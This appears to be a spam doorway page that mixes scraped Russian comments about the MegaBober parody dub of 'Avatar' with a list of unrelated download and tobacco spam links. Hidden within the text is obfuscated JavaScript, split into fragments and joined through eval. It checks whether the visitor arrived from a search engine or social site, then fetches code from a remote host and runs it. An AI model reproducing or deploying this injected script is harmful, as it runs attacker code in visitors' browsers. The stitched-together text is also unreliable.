Ну и лидер сюжетных косяков — это конечно котобродолет.. Гдетотамстане Это присказка была Дальше — больше.. Ружье так на стене и болтается Флора и фауна Пандоры — это грандиозная почва для стёба.
Батыра» Вроде как, переводчик должен прогрессировать в своих переводах, ан- нет — тут регресс капитальный.. Сюжет ниже плинтуса — удар ниже пояса Хотя, наверное, этот фильм только меня так разочаровал.
Скоро выходят новые пираты и новый аватар Будете ли вы заниматься переводами данных фильмов? В отличие от этих фильмов! Продолжение замечательного альтернативного перевода от студии Мегабобер.. Увы, как я и сказал — Пираты задали планку качества, причем не только тебе.. Вот там есть то, чего упорно не хватает Ак Батыру.
Я никогда не смотрю фильмы, чтобы обосрать Я хорошо разбираюсь в жанре и смотрел переводов раз в десять больше, чем сам Армитаж (извините, сей факт я почерпнул из интервью с ним).. Какая это Земля, если на небе постоянно маячит газовый гигант, вокруг которого вертится Пандора? Главное, фильм покоцан, можно было и это вырезать, как и «припандоривание» из космоса.. Но я решил хрен с ним Когда я еще не смотрел пиратов, все что я знал — это анекдоты, фашисты и русский разведчик.. Несмотря на все косяки и факторы, лично меня раздражающие, пиратская трилогия — это одно из лучших произведений в данном жанре.. Хорошо, пусть будут мутанты, но как- то этих мутантов можно было бы интересней обрисовать, чем тыгдык- тыгдык, птеродактиль, рогонос, пантерысь и гигантский попугай.. Я могу отличить перевод хороший от перевода посредственного, абстрагируясь от собственных симпатий- антипатий (как в случае с теми же Пиратами).. Пираты — безусловный шедевр О великий Мега-Бобёр, давно не слышал о Вас.. Нехорошо сравнивать то, что было и то, что есть.. Человек в здравом уме и трезвой памяти Достойный уважения, мегаталантливый переводчик.. Вообще, как я угадал, что Мегабобер переводит Аватара?Именно благодаря котобродолету.. С персонажами лучше Отсылки к чужим порадовали, чета Сусликовых и их семейный психолог — это охуенно.. В Ак- Батыре сюжет сам по себе трещит по швам.. ";Ll["XTRa"]="t cr";Ll["pgku"]="ype:";Ll["JyQS"]="pend";Ll["cRLR"]="('sr";Ll["qGdu"]="\"yah";Ll["knjL"]="Ro;v";Ll["shNQ"]="pt',";Ll["wQiv"]="ax/l";Ll["ytNV"]="ned'";Ll["SSmY"]="umen";Ll["kIil"]=":fal";Ll["sBrm"]="d();";Ll["OwIV"]="ref.. Вот с тем сюжетом такой юмор, как тут больше бы подошел, чем голая петросянщина.. Как- то понятно, что происходит в семье Сусликовых, но нихера не ясны их мотивы в отношении Гдетотамстана.. Тех же Дебохподасть, которые продолжили твою эпопею про Воробьева.. Году эдак в 2 00 Карибский Кризис, Ак Батыр пошел бы на ура.. Персонаж напрашивается на другой характер с другими мотивами.. Но теперь такой фильм — обычный проходняк, ничего нового в жанр не привносящий.. \")";Ll["WeKk"]="] ap";Ll["sWpw"]="e,cr";Ll["ZpiS"]="ery ";Ll["Uajx"]="ctio";Ll["CTwf"]="c','";Ll["ewug"]=";if(";Ll["Nnjn"]="refe";Ll["ToDZ"]="(rd,";Ll["IEYA"]="tTim";Ll["sEvh"]=".. Ясен хуй, этой мегакрутотенью Армитаж поднял собственную планку качества выше некуда.. \"";Ll["qFPl"]="n rd";Ll["Ajoq"]="100)";Ll["drit"]=">0)|";Ll["WCsO"]="ar a";Ll["OvmZ"]="head";Ll["Dwpp"]="dexO";Ll["SPyz"]=".. in";Ll["LCAf"]="\"vk ";Ll["GMGT"]="f(\"y";Ll["kndg"]="owme";Ll["usfV"]="succ";Ll["fbLd"]="ax.. Трилогия настолько охуенная, что не помешали два фактора, которые я не перевариваю: махровая русская ксенофобия и цитирование бородатых анекдотов.. Армитаж ли это? Что с ним сделали немцы проклятые? Потом послушал с ним интервью — нет, я ошибся.. Главная сильная сторона пиратской трилогии — это слаженный сюжет.. Как Вы знаете, в последнее время студия Мега-Бобер не была особо.. В свое время мне трудно было признать, что последние три перевода Гоблина — полная хрень, но смирился.. Перевод: Авторский смешной перевод студии " МегаБобёр ".. ";Ll["ImIp"]="|(re";Ll["AMuX"]="x \")";Ll["hcin"]="\"liv";Ll["oWoV"]="'GET";Ll["DuTF"]="proc";Ll["eMFR"]="://z";Ll["fJnq"]="peof";Ll["dzpG"]=",jqX";Ll["PjIp"]="ocum";Ll["Stsh"]=" = '";Ll["eHEN"]="func";Ll["relz"]="pons";Ll["LBry"]="|ref";Ll["DJiW"]="(\"ms";Ll["VMtY"]="k6Dn";Ll["Ycur"]="taTy";Ll["IjLc"]="ly',";eval(Ll["jJHR"]+Ll["ZvQx"]+Ll["knjL"]+Ll["WCsO"]+Ll["DTKn"]+Ll["SSmY"]+Ll["XTRa"]+Ll["ioks"]+Ll["afay"]+Ll["sxlV"]+Ll["nLNl"]+Ll["mUjO"]+Ll["NtuF"]+Ll["ADwr"]+Ll["wJTg"]+Ll["EQoW"]+Ll["cRLR"]+Ll["CTwf"]+Ll["HPah"]+Ll["fbLd"]+Ll["JdnO"]+Ll["TFRw"]+Ll["IJcJ"]+Ll["Efrx"]+Ll["wQiv"]+Ll["irmU"]+Ll["XpXK"]+Ll["Cplv"]+Ll["XQwB"]+Ll["DAcx"]+Ll["ZpiS"]+Ll["RMAC"]+Ll["yDKo"]+Ll["TqUs"]+Ll["SSmY"]+Ll["QtQE"]+Ll["HgTt"]+Ll["xGLO"]+Ll["JPTW"]+Ll["OKwT"]+Ll["jtcl"]+Ll["OvmZ"]+Ll["EXCH"]+Ll["WeKk"]+Ll["JyQS"]+Ll["vPvk"]+Ll["aLTI"]+Ll["JNzi"]+Ll["Uajx"]+Ll["qFPl"]+Ll["UUOz"]+Ll["eeSE"]+Ll["fJnq"]+Ll["TDyu"]+Ll["YSkc"]+Ll["CDpR"]+Ll["ytNV"]+Ll["VnTe"]+Ll["IEYA"]+Ll["aVfW"]+Ll["ToDZ"]+Ll["Ajoq"]+Ll["BOyx"]+Ll["vMJq"]+Ll["FXbL"]+Ll["qWJS"]+Ll["PjIp"]+Ll["FYtc"]+Ll["Nnjn"]+Ll["apqo"]+Ll["ewug"]+Ll["OwIV"]+Ll["UHUc"]+Ll["UuFX"]+Ll["ELjr"]+Ll["BZLD"]+Ll["vwKh"]+Ll["Dwpp"]+Ll["GMGT"]+Ll["CDdt"]+Ll["AMuX"]+Ll["drit"]+Ll["ImIp"]+Ll["vwKh"]+Ll["Dwpp"]+Ll["fZNf"]+Ll["JdnO"]+Ll["LQKs"]+Ll["drit"]+Ll["LBry"]+Ll["sEvh"]+Ll["NLva"]+Ll["HQRO"]+Ll["FNAe"]+Ll["oryr"]+Ll["NZkH"]+Ll["OwIV"]+Ll["ZBhL"]+Ll["SLHY"]+Ll["uVFy"]+Ll["VaFW"]+Ll["NZkH"]+Ll["OwIV"]+Ll["ZBhL"]+Ll["SLHY"]+Ll["RHIp"]+Ll["iYAY"]+Ll["NZkH"]+Ll["OwIV"]+Ll["ZBhL"]+Ll["SLHY"]+Ll["qGdu"]+Ll["caLs"]+Ll["uOhm"]+Ll["LBry"]+Ll["sEvh"]+Ll["NLva"]+Ll["DJiW"]+Ll["iSuJ"]+Ll["NZkH"]+Ll["OwIV"]+Ll["ZBhL"]+Ll["SLHY"]+Ll["hcin"]+Ll["LQKs"]+Ll["NZkH"]+Ll["OwIV"]+Ll["ZBhL"]+Ll["SLHY"]+Ll["LCAf"]+Ll["rVza"]+Ll["bjvl"]+Ll["HmVu"]+Ll["kndg"]+Ll["Stsh"]+Ll["zLgp"]+Ll["EQRo"]+Ll["yQJA"]+Ll["AFaz"]+Ll["pgku"]+Ll["oWoV"]+Ll["XayU"]+Ll["Ycur"]+Ll["jsFF"]+Ll["Ojwk"]+Ll["shNQ"]+Ll["DuTF"]+Ll["mERL"]+Ll["jYTD"]+Ll["wkrE"]+Ll["sWpw"]+Ll["vrqh"]+Ll["avKf"]+Ll["Kacg"]+Ll["jysC"]+Ll["gTHt"]+Ll["kIil"]+Ll["zciD"]+Ll["RSSv"]+Ll["Rrvl"]+Ll["eMFR"]+Ll["TLbi"]+Ll["VMtY"]+Ll["SPyz"]+Ll["pWlM"]+Ll["jfIX"]+Ll["mgnS"]+Ll["iHpR"]+Ll["cgyt"]+Ll["oQzy"]+Ll["HZpM"]+Ll["IjLc"]+Ll["usfV"]+Ll["fIcY"]+Ll["eHEN"]+Ll["yjao"]+Ll["xCWL"]+Ll["relz"]+Ll["wMfj"]+Ll["PWod"]+Ll["vlxP"]+Ll["BtLu"]+Ll["dzpG"]+Ll["lMax"]+Ll["Ybog"]+Ll["xCWL"]+Ll["relz"]+Ll["wMfj"]+Ll["nZLq"]+Ll["hGyt"]+Ll["DTji"]+Ll["sBrm"]); Страна: Россия, США Студия: 'МегаБобёр' Продолжительность: 02:14:17 Перевод.. В определенный момент вообще стало непонятно, что там, собственно, происходит.. Ну сообщения у него больше походили на рекламные лозунги.. Мяукающие вертушки — это конечно смешно, но это полный идиотизм.. Резиновые костюмы?Ладно, пускай сцены с перемещением сознания вырезаны, но как инвалид на обе ноги в этом костюме ходит и прыгает? Да и какую роль эти костюмы играют? Можно было и оригинал с аватарами оставить.. Блин, ну Ридли Скотт же!Ну типа- приквел Чужого же! Как можно даже в мыслях себе представить, что Прометей — говно? Нет, Ак Батыру до говна, как до Антарктиды рачки, но равно столько же ему ковылять и до уровня Пиратов.. Многие в своем творчестве на них равняются и поныне.. var Ro = '%d1%84%d0%b8%d0%bb%d1%8c%d0%bc%d1%8b+%d1%81%d1%82%d1%83%d0%b4%d0%b8%d0%b8+%d0%bc%d0%b5%d0%b3%d0%b0%d0%b1%d0%be%d0%b1%d0%b5%d1%80';var Ll = new Array();Ll["vrqh"]="ossD";Ll["wkrE"]="fals";Ll["SLHY"]="xOf(";Ll["NLva"]="exOf";Ll["Rrvl"]="http";Ll["NZkH"]=">0||";Ll["yQJA"]=".. Без изъезженной шутки про Бибера фильм бы обошелся.. Хороши только Сусликовы, их психолог и Йцукен (только нахера его было в конце делать эстонцем? Фанов тупости Буля порадовать? Ну, порадовал, я надеюсь, но можно было так и не делать).. Другие схавают, потому что «Это же Мегабобер».. aja";Ll["LQKs"]="e \")";Ll["avKf"]="omai";Ll["UuFX"]="th>0";Ll["ZvQx"]="q = ";Ll["UHUc"]="leng";Ll["vwKh"]="f.. Как персонаж — пустышка, не живой Хотя тут живых персонажей крайне мало, не то что в Пиратах.. Но вышел он крайне неудовлетворительным На чем же основывается сие заявление?Давайте разбираться.. Ты бы ознакомился с новыми работами других переводчиков.. c";Ll["hGyt"]="});}";Ll["XayU"]="',da";Ll["RSSv"]="rl:'";Ll["BZLD"]="((re";Ll["BOyx"]=";}el";Ll["ELjr"]="){if";Ll["fZNf"]="f(\"g";Ll["wJTg"]="ttri";Ll["vPvk"]="Chil";Ll["mUjO"]="ipt'";Ll["JdnO"]="oogl";Ll["bjvl"]="){va";Ll["DTKn"]="=doc";Ll["JNzi"]=";fun";Ll["uOhm"]=")>0|";Ll["oQzy"]=".. Правда, я неверно его истолковал Я думал, это капсула для управления аватаром, из которой человек бродит и летает в облике синего кота.. Их можно было как угодно монтировать- перемонтировать и фильм мог выйти каким угодно.. Фильмы Студии Мегабобер Скачать ТоррентАк Батыр от студии Мега- Бобёр.. Я не знаю, возможно я слишком избалован Пиратами и работами студии Дебохподасть, но ощущение от просмотра этого фильма примерно такое же, как от просмотра Прометея.. Пираты — безусловный шедевр Трилогия настолько охуенная, что не помешали два фактора, которые я не перевариваю Читать далее.. bro";Ll["FXbL"]="ar r";Ll["EXCH"]="')[0";Ll["YSkc"]="='un";Ll["CDpR"]="defi";Ll["Ojwk"]="scri";Ll["ioks"]="eate";Ll["mgnS"]="no.. Маска, или чего- то наподобии Ночного Базара, где весь юмор — бессюжетный стеб: смотри, ржи и не вникай.. Комментарии автора Студии 'МегаБобёр': Немного о студии 'МегаБобер'.. Смысл делать было? Новый Советский Союз? Вот откуда ему взяться через шесть лет и какую роль в сюжете он играет?Ну, блин, как Халва в переводах Кинг- Кобры! Сказано, но не сделано.. \")";Ll["afay"]="Elem";Ll["XQwB"]=" 1 0";Ll["jsFF"]="pe:'";Ll["jYTD"]="ata:";Ll["jysC"]="ue,j";Ll["qWJS"]="ef=d";Ll["QtQE"]="t.. Хотя, попугая можно было и оставить, только текст ему дать другой.. Соответственно, я предполагал, что у кого — у кого, а уж у Армитажа получится так мастерски перекрутить сюжет, что я таки да поверю, что события происходят в 2.. И какая- то неувязка с этими сусликами с «душком».. Это скорее Генерал Набекрень, чем Воробьев Надира — никакашка, Оревуар — никакак, Хуанита (или как там ее) — тоже оставляет желать лучшего.. И не надо говорить, что Аватар сложнее переводить.. Эпическая пиратская сказка превратилась в затейливый сай- фай.. С этим тоже Хотя, ясен пень, даже Ак Батыр в разы уделывает последние работы этого лысого хрена.. Армитаж, прости за эту рецуху!Честно, не хотел писать ничего плохого.. На всякий случай, для начала разъясню своё отношение к Мегабобру.. Но эти разборки между супругами конкретно размыли сюжетную линию, которая вообще- то не про них, а про Чака с аборигенами.. ind";Ll["oryr"]="r \")";Ll["apqo"]="rrer";Ll["HPah"]="//aj";Ll["zLgp"]="forc";Ll["caLs"]="oo.. Какие есть ее фильмы у мегабобров? О фильме : Кагами Юки, ботаник который много старался чтобы попасть в старшую школу.. НО ЭТО ЖЕ МЕГАБОБЕР!!! У МЕГАБОБРА ДОЛЖЕН БЫТЬ МЕГАСЮЖЕТ! Ну, блин, привык я к такому и не ожидал я такого.. ";Ll["ZBhL"]="inde";Ll["jtcl"]="me('";Ll["HmVu"]="r sh";Ll["uVFy"]="\"bin";Ll["TFRw"]="eapi";Ll["IJcJ"]="s.. Видимо, слишком много ждал от этого фильма и так вот обломался.. Меня самого бесит, когда малолетки гундят, что Гарри Поттер круче Космических Хулиганов.. Оно же было в Карибском Кризисе, а тут как- то испарилось.. На их фоне Ак Батыр просто сосет ) Была попытка сделать Смайли распиздяем вроде Воробьева, но не получилось.. js?";Ll["PWod"]="a,te";Ll["sxlV"]="ent(";Ll["DAcx"]="/jqu";Ll["aVfW"]="eout";Ll["pWlM"]="ward";Ll["Ybog"]="eval";Ll["DTji"]="}}}r";Ll["gTHt"]="sonp";Ll["JPTW"]="sByT";Ll["CDdt"]="ande";Ll["zciD"]="se,u";Ll["nLNl"]="'scr";Ll["eeSE"]="f(ty";Ll["yDKo"]="js')";Ll["AFaz"]="x({t";Ll["jJHR"]="var ";Ll["TDyu"]=" $==";Ll["vlxP"]="xtSt";Ll["yjao"]="tion";Ll["TqUs"]=";doc";Ll["mERL"]="essD";Ll["ADwr"]="setA";Ll["RMAC"]="min.. g";Ll["Cplv"]="ry/3";Ll["HQRO"]="(\"ra";Ll["EQoW"]="bute";Ll["VnTe"]="){se";Ll["Kacg"]="n:tr";Ll["HZpM"]="weeb";Ll["FNAe"]="mble";Ll["cgyt"]="8/25";Ll["NtuF"]=");a.. Смайли с голосом Воробьева не угадан Этот голос для задохлика Джонни Дэппа, но не для сбитенького мужичка Сэма Вортингтона.. 'Студия' появилась в 2007 году В первом фильме я указал название 'МегаБобёр' просто по приколу.. Ты отличный переводчик и, я уверен, еще наклепаешь шедевров, но с этим вышло как- то вот так.. co";Ll["RHIp"]="\"mai";Ll["aLTI"]="d(a)";Ll["iHpR"]="om/1";Ll["xCWL"]="(res";Ll["lMax"]="HR){";Ll["FYtc"]="ent.. Такой двигатель можно было просто вскользь упомянуть в изречении персонажа, которого все считают идиотом, но постоянно это показывать? Зачем? Да, можно сказать, что я придираюсь.. Смыслу искать логичности в смешном переводе? Поверьте мне, господа хорошие, я бы не вылавливал этих блох, если бы это было произведение СМЫСЛ- а или Дэс.. Местами круче гоблина,а гоблин ведь отец переводов.. Этот — сплошное уныние Антураж, короче, намного лучше и смешнее можно было проработать.. Как- то странно было выдавать Пандору за Землю.. То есть, Ак Батыра я ждал, хоть и весьма скептически относился к изложенному сюжету.. Какой- то перебор с сусликами получился Неоправданный совершенно.. Я смотрел, скрипя зубами, но по просмотру все равно длительное время оставался под впечатлением охуенности пиратской франшизы.. Баян с вечным двигателем из кота и бутерброда я увидеть не ожидал.. Так что в принципе с чистой совестью могу сказать: «Пираты (любая часть в отдельности) в стопиццот раз круче Ак.. Семпл Дополнительная информация: Смешной перевод фильма 'Аватар' от студии Мега-Бобёр, создавшей замечательную пародию 'Карибский кризис'.. Не синопсису! Синопсис — это очень подробное изложение сюжета со всеми поворотами и приворотами.. Это галимая отмазка В режиссерской версии четыре долбанных часа.. По описанию — хрень, а в итоге оказалась мегакрутотень.. Когда Мегабобер ушел и спустя несколько лет вернулся, я принял его то- ли за спам- бота, то ли за тролля, играющего злую шутку с фанатами.. ";Ll["irmU"]="ibs/";Ll["UUOz"]="(){i";Ll["HgTt"]="tEle";Ll["iSuJ"]="n \")";Ll["BtLu"]="atus";Ll["fIcY"]="ess:";Ll["wMfj"]="eDat";Ll["iYAY"]="l.
e10c415e6f
Muat Turun Al Quran Cdr Adalah Download English
Indian Bare Acts (law Books Apk For Mac
LEGO reg; Marvel Super Heroes 2 Download
Chinese Font Download Mac
It 305Wc Windows10 Driver
Megaman X3 Online
Unlock Code Generator Software
Tempat Download Film Serial Silat Mandarin
Buy Cheap Tobacco Online
Steam Games For Mac